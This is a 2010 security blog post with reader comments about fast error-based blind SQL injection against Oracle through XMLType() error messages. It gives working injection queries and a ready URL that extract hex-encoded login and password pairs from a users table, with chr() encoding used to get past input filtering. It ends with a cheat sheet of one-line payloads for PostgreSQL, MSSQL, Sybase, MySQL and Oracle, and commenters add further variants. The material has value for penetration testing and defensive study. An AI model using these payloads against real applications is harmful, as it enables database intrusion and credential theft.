Pages

Monday, January 25, 2010

Methods of quick exploitation of blind SQL Injection Vulnerabilities in Oracle

I had gathered an interesting collection of quick methods of blind SQL Injection exploitation, but I was lacking in a similar method for another widespread DBMS – Oracle. It induced me to conduct a small research intended for discovering analogous methods applicable to the specified database.

I found out that all known methods of error-based Blind SQL Injection exploitation don’t work in the Oracle environment. Then, my attention was attracted by the functions of interaction with the XML format. After a short investigation, I found a function XMLType() that returns the first symbol of requested data in the error message (LPX-00XXX):

SQL> select XMLType((select 'abcdef' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00210: expected '<' instead of 'a'
Error at line 1
ORA-06512: at "SYS.XMLTYPE", line 301
ORA-06512: at line 1
no rows selected
SQL>

Anyway, that's something. Now we can use the function substr() to read the desired information symbol-by-symbol. For example, we can rather quickly determine the version of the installed database:

select XMLType((select substr(version,1,1) from v$instance)) from users;
select XMLType((select substr(version,2,1) from v$instance)) from users;
select XMLType((select substr(version,3,1) from v$instance)) from users;
...etc.

Reading one symbol per one query during Blind SQL Injection exploitation is good, but it would be light-heartedly to stop at that. We will go further.

After investigating the function XMLType() in detail, I managed to find an analogous method to place data into the error message, which can be also applied to other databases:

SQL> select XMLType((select '<abcdef:root>' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00234: namespace prefix "abcdef" is not declared
...
SQL> select XMLType((select '<:abcdef>' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00110: Warning: invalid QName ":abcdef" (not a Name)
...
SQL>

It seems to be great, but there are several pitfalls. The first problem is that Oracle doesn’t implement automated type conversion. Therefore, the following query will cause an error:

SQL> select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>'
 from dual)) from dual);
select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>'
 from dual)) from dual)
ERROR at line 1:
ORA-00932: inconsistent datatypes: expected NUMBER got -

The second problem is that Oracle has no limit or offset, which doesn’t allow one to read data line-by-line easily. Finally, the third difficulty is related to the fact that the function XMLType() truncates the returned data after certain symbols, e.g. space character and the "at" sign ("@").

However, there is no problem we could not solve;) To dispose of the problem of type conversion, one can apply the function upper(). Line-by-line data reading can be implemented using the following simple construction:

select id from(select id,rownum rnum from users a)where rnum=1;
select id from(select id,rownum rnum from users a)where rnum=2;
...

At last, to avoid the loss of returned data, hex coding can be applied. Additionally, the quotes can be excluded from the sent query using numeric representation of symbols (ascii), which will later allow one to bypass filtering at the stage of processing the data that comes into the application. Thus, the resulting query becomes:

select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=1)||chr(62)))from dual);

select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=2)||chr(62)))from dual);
...

Using this technique, we can obtain up to 214 bytes of data (107 symbols in case of hex coding) per one http request from an application that operates under DBMS Oracle >= 9.0 and returns error messages:

http://server/?id=(1)and(1)=(select+upper(xmltype(chr(60)||chr(58)||chr(58)||(select+rawtohex(login||chr(58)||chr(58)||password)from(select+login,password,rownum+rnum+from+users+a)where+rnum=1)||chr(62)))from dual)--





To decode the data obtained from an application using the described method of SQL Injection exploitation, one can use, for example, the following standard Oracle function:



Thus, taking into account previous publications devoted to this theme, we have universal and quick techniques of error-based Blind SQL Injection exploitation available for the following DBMSs:

PostgreSQL:
/?param=1 and(1)=cast(version() as numeric)--

MSSQL:
/?param=1 and(1)=convert(int,@@version)--

Sybase:
/?param=1 and(1)=convert(int,@@version)--

MySQL>=4.1<5.0:
/?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from TABLE_NAME group by x)a)--

OR
/?param=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)--

MySQL>=5.0:
/?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

Oracle >=9.0:
/?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--

5 comments:

  1. Hi, nice post. It's interesting to see the availability of a PL/SQL Function triggering error messages containing attribute value. About one year ago during a WAPT i developed a similar technique to blindly enumerate relations based on division-by-zero exception. Basically i inject a 1/(tautology_boolean_result) expression in SQL Statement. When tautology is false Oracle catch a division by zero exception then raise an error. You can find more here:
    http://dbellucci.blogspot.com/2009/12/blind-sql-injection-inference-through.html

    ReplyDelete
  2. yes, I've already read this material. I found it through references in Jeremiah Grossman's article (here).

    ReplyDelete
  3. Very interesting.

    You can also use 'extractvalue' function.

    SQL> select extractvalue(xmltype('<x/>'),'/$'||(SELECT banner FROM v$version where rownum=1)) from dual;

    see hxxp://d.hatena.ne.jp/teracc/20090703#1246574682

    ReplyDelete
  4. >> You can also use 'extractvalue' function.

    I know ... I own it and thought :)

    See: http://devteev.blogspot.com/2009/10/advanced-sql-injection.html
    and see: http://www.ptsecurity.com/download/PT-devteev-Advanced-SQL-Injection-ENG.zip

    ReplyDelete